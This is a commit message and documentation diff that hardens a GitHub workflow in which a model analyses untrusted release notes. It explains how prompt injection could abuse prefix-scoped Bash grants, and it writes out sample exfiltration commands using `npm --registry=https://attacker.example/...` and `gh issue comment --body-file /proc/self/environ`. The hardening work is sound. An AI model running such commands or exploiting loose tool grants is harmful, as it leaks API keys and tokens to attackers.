fix: address Copilot review round 4 on the SDK watch

Four findings. Two are trust-boundary bugs on a public repo; two are the
same class of grant mistake I had already made twice.

1. (Suppressed finding.) `Bash(npm view:*)` was an outbound channel. npm
   accepts `--registry=<arbitrary URL>`, and a Bash grant matches a
   command PREFIX and constrains nothing after it, so
   `npm view x --registry=https://attacker.example/<encoded secret>`
   matched the grant. Nothing is published to the issue, so the verbatim
   output scan cannot see it at all.

   That is the third instance of one mistake in this review — scoping the
   command and leaving the flags unbounded — after `Bash(gh api:*)` in
   round 1 and `--body-file /proc/self/environ` in round 3. The grant is
   removed (the prompt is handed both versions and takes release notes
   from `gh release view`), `Bash(npm:*)` joins the deny list, and the
   general rule is now in AGENTS.md rather than three war stories: a
   prefix grant constrains the command, never its flags.

2. The model's job held `issues: write`. Permissions are scoped per JOB,
   not per step, so my round-3 claim that the model only ever saw a
   `contents: read` token was false while the posting step shared its
   job. Split into three: `sweep`, `analyze` (`contents: read`, runs the
   model), `post` (`issues: write`, runs no model).

   The hand-off is an ARTIFACT rather than a job output, because matrix
   job outputs collide — every leg writes the same key — which would post
   one SDK group's write-up onto the other group's issue. A failed
   analysis leg uploads nothing, which is not fatal: the download is
   `continue-on-error` and the post is gated on the file existing, and
   the issue then lands in exactly the un-analyzed state the round-2
   retry path picks up.

3. Issue markers were trusted without provenance. This repo is public, so
   anyone can open an issue whose body starts with the current target's
   marker — and close it — to suppress the real upgrade issue
   indefinitely, or use a malformed target to throw in `semver.lt` every
   run. `sweepIssues` now requires BOTH the automation author (with the
   `[bot]` suffix normalized, since gh and the REST API spell it
   differently) and the `chore` + `dependencies` labels an outsider
   cannot set. Marker targets are validated with `semver.valid`.

4. Comment markers had the same gap, and my round-3 fix had addressed the
   wrong layer: it stopped splitting comments on newlines but still
   reduced each to its body, discarding the only field that makes a
   marker mean anything. `issueComments` now returns `{author, isBot,
   body}`, and both consumers require the automation — so a forged
   analysis marker no longer suppresses the retry and a forged
   supersession marker no longer suppresses the note. Being a bot is not
   enough; it has to be ours.

   The test fake mattered more than the assertions here: comment fixtures
   were plain strings, so every one was implicitly automation-authored
   and no test could have expressed a forgery at all.

Two workflow invariants are now pinned by tests, since both are the kind
of thing a later edit undoes by accident: the `analyze` job's permissions
are exactly `contents: read` with no posting step, and the `--allowedTools`
whitelist mentions none of npm, curl, wget, WebFetch or WebSearch.

Mutation-checked, each failing a different set:

  isSweepAuthored -> true          -> 3 tests (unit + 2 e2e)
  isAutomationComment -> true      -> 3 tests (unit + 2 e2e)
  semver.valid filter removed      -> 1 test
  Bash(npm view:*) restored        -> 1 test
  issues: write re-added to analyze -> 1 test

58 tests in this file; `npm run local:gate` green end to end.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
This commit is contained in:
cliffhall 2026-09-06 10:43:10 -04:00
commit 2a6c510e49

View file

@ -141,7 +141,14 @@ The board write needs `organization projects: write`, which `GITHUB_TOKEN` canno
⚠️ **Upstream release notes are untrusted input to that job, and the model is granted nothing that can write anywhere.** The tool whitelist is the only real control — the prompt's prose constraints are not — and two revisions of it were wrong before this one landed:
- `Bash(gh api:*)` against an `issues: write` token allowed arbitrary issue mutation.
- Pinning `Bash(gh issue comment <N>:*)` to the tracked issue did **not** fix it, because a `Bash(...)` grant matches a command **prefix** and says nothing about the flags that follow. `gh issue comment <N> --body-file /proc/self/environ` matches that grant, and the job's subprocess environment holds `ANTHROPIC_API_KEY` and `GITHUB_TOKEN` — so a prompt injection could have published live credentials into a public issue. **A prefix grant on any command that accepts a file path is an arbitrary-file read with a publish attached.** Treat that as the general rule, not a one-off.
- Pinning `Bash(gh issue comment <N>:*)` to the tracked issue did **not** fix it, because a `Bash(...)` grant matches a command **prefix** and says nothing about the flags that follow. `gh issue comment <N> --body-file /proc/self/environ` matches that grant, and the job's subprocess environment holds `ANTHROPIC_API_KEY` and `GITHUB_TOKEN` — so a prompt injection could have published live credentials into a public issue.
- `Bash(npm view:*)` was the same hole pointing outward: `npm` accepts `--registry=<arbitrary URL>`, so `npm view x --registry=https://attacker.example/<encoded secret>` matched the grant and exfiltrated to a host of the attacker's choosing, where no output scan can see it.
**The general rule, since it caught us twice: a prefix grant constrains the command, never its flags. Check what flags a command accepts — especially any that take a path or a URL — before granting it.** A tool test in `sdk-watch.test.mjs` pins the whitelist against `npm`, `curl`, `wget`, `WebFetch` and `WebSearch` so this cannot regress quietly.
⚠️ **Permissions are scoped per JOB, not per step**, so a job that runs a model cannot also hold the write scope its posting step needs — the token reaches the model regardless of how carefully the step is written. The workflow is therefore **three** jobs: `sweep`, then `analyze` (`contents: read`, runs the model), then `post` (`issues: write`, runs no model). They hand over an **artifact**, not a job output, because matrix job outputs collide — every leg writes the same key — which would post one group's write-up onto the other group's issue. A test asserts the `analyze` job's permissions are exactly `contents: read` and that it contains no posting step.
⚠️ **A marker is not evidence — this repo is public.** Anyone can open an issue or write a comment whose body starts with any string, and every marker here drives automation. Untrusted, an outsider could file (and close) an issue carrying the current target's marker to suppress the real upgrade issue indefinitely, post `ANALYSIS_MARKER` to suppress analysis retries forever, or forge a supersession note so the genuine one is never posted. So the sweep trusts a marker **only** on something the automation wrote: an issue must be authored by `github-actions` *and* carry the `chore` + `dependencies` labels an outsider cannot set, and a comment must come from `github-actions[bot]`. Marker versions are validated with `semver.valid` too, since a malformed target would otherwise throw in `semver.lt` and fail the sweep every run.
So the model returns its write-up as structured output (`--json-schema`) and a deterministic, model-free step posts it — that step is the only thing in the job holding a token that can write, and the body reaches it through the environment rather than the command line. `WebFetch` is denied for the same reason: an outbound fetch the model controls is the other end of the same exfiltration channel, and `gh release view` covers the need. The job's token carries `contents: read` only. **Keep every one of those properties when editing this job.**